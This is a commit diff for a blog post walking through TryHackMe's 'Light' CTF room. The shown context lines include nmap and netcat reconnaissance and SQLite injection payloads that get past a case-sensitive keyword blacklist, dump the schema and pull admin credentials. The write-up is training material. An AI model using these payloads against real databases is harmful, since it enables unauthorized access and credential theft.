Skip to content

Commit 20a787c

Browse files
Updating image paths in new blog
1 parent 65df922 commit 20a787c

File tree

1 file changed

+16
-16
lines changed

1 file changed

+16
-16
lines changed

_posts/2025-08-15-thm-light-walkthrough.md

Lines changed: 16 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -4,7 +4,7 @@ title: "TryHackMe Light Walkthrough - SQL Injection Challenge"
44
description: "Complete step-by-step walkthrough for TryHackMe's Light room featuring SQLite injection techniques, database enumeration, and admin credential extraction. Perfect for beginners learning SQL injection fundamentals."
55
date: 2025-08-15 10:00:00 +0000
66
categories: [Cybersecurity, Writeups, Tryhackme]
7-
tags: [tryhackme, thm, sql-injection, sqlite, database, enumeration, ctf, beginner-friendly]
7+
tags: [tryhackme, thm, sql-injection, sqlite, database, enumeration, ctf, easy]
88
image: https://tryhackme-images.s3.amazonaws.com/room-icons/618b3fa52f0acc0061fb0172-1737140605838
99
sitemap:
1010
priority: 0.8
@@ -26,12 +26,12 @@ Lets start the machine and wait for 2-3 minutes, let the machine get fully funct
2626

2727
As usual running a full port scan for identifying potential entry points.
2828
`nmap -p- -T4 MACHINE-IP -vv`
29-
![[_posts/attachments/Pasted image 20250816001828.png]]
29+
![Nmap scan results](/_posts/attachments/Pasted%20image%2020250816001828.png)
3030

3131
Meanwhile lets try connecting to the port 1337
3232
`nc MACHINE-IP 1337`
3333
Lets try the username provided `smokey`
34-
![[_posts/attachments/Pasted image 20250816002133.png]]
34+
![Testing with username smokey](/_posts/attachments/Pasted%20image%2020250816002133.png)
3535
Alright!
3636

3737
So, I guess we can try brute-forcing a wordlist of usernames, but we cannot use ffuf...
@@ -72,28 +72,28 @@ for user in usernames:
7272
I tried few wordlists but didn't find anything.
7373

7474
Got back to the nmap scan and LOL!, its gonna take forever so its not the way in for sure!
75-
![[_posts/attachments/Pasted image 20250816003201.png]]
75+
![Nmap scan taking too long](/_posts/attachments/Pasted%20image%2020250816003201.png)
7676

7777
What else can we do? Found no `http` pages, where can we even use the credentials we've got earlier?
7878
Lets try to change the approach.
7979

8080
Lets try putting in some random input, my mind is getting a little idea of where it is going _maybe_.
81-
![[_posts/attachments/Pasted image 20250816003925.png]]
81+
![Testing random input](/_posts/attachments/Pasted%20image%2020250816003925.png)
8282
Its more of an Injection vulnerability I see
8383
Its been a long I have not dealt with a SQLi, now quickly digging through my notes for revising required methods.
8484

8585
From the responses below
86-
![[_posts/attachments/Pasted image 20250816004841.png]]
86+
![SQL injection response](/_posts/attachments/Pasted%20image%2020250816004841.png)
8787
I can imagine of a SQL query
8888
`select pass from users where user='<input>' limit 30`
8989

9090
Now we'll try creating some SQL payloads based on the payloads I already have in my notes.
9191
`'union select 1'`
92-
![[_posts/attachments/Pasted image 20250816005530.png]]
92+
![Union select blocked](/_posts/attachments/Pasted%20image%2020250816005530.png)
9393
Okhayy!
9494
They might be blocking some keywords most probably as an easy way out.
9595
Here might be a logic error lets try `'UnIOn sElecT 1'`
96-
![[_posts/attachments/Pasted image 20250816005739.png]]
96+
![Bypassing keyword filter](/_posts/attachments/Pasted%20image%2020250816005739.png)
9797
as a developer I would also blacklist these keywords as its an easy fix(not a fix really). Laziness is a problem frr.
9898
I love these kinda logic based errors!
9999

@@ -106,35 +106,35 @@ Refer this https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%2
106106
This one worked
107107
`'Union Select sqlite_version()'`
108108
Its sqlite database version: 3.31.1
109-
![[_posts/attachments/Pasted image 20250816010644.png]]
109+
![SQLite version](/_posts/attachments/Pasted%20image%2020250816010644.png)
110110

111111
Using the [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#sqlite-enumeration) Repository for reference!
112112

113113
`'Union Select sql from sqlite_master'`
114-
![[_posts/attachments/Pasted image 20250816010906.png]]
114+
![Database schema](/_posts/attachments/Pasted%20image%2020250816010906.png)
115115

116116
Now we know the table name, column names.
117117
Enough to craft useful payloads.
118118

119-
> You can use [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#sqlite-enumeration)and suitable LLM for crafting payloads
119+
> You can use [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md#sqlite-enumeration) and suitable LLM for crafting payloads
120120
121121
`'Union Select username from admintable where id='1`
122-
![[_posts/attachments/Pasted image 20250816011619.png]]
122+
![Admin username](/_posts/attachments/Pasted%20image%2020250816011619.png)
123123
If needed we could've dumped all but in this case we don't need the whole database.
124124

125-
![[_posts/attachments/Pasted image 20250816011809.png]]
125+
![Question 1 answer](/_posts/attachments/Pasted%20image%2020250816011809.png)
126126

127127
`Q2 What is the password to the username mentioned in question 1?`
128128
`'Union Select password from admintable where username='<admin-user>`
129-
![[_posts/attachments/Pasted image 20250816012001.png]]
129+
![Admin password](/_posts/attachments/Pasted%20image%2020250816012001.png)
130130

131-
![[_posts/attachments/Pasted image 20250816012439.png]]
131+
![Question 2 answer](/_posts/attachments/Pasted%20image%2020250816012439.png)
132132

133133
`Q3 What is the flag?`
134134
Till now you could've figured it out, we have already got the id for the user flag, so most probably its password will be the final flag.
135135
Little modifications to the previous payload will get you the flag.
136136

137-
![[_posts/attachments/Pasted image 20250816012516.png]]
137+
![Question 3 flag](/_posts/attachments/Pasted%20image%2020250816012516.png)
138138

139139

140140

0 commit comments

Comments
 (0)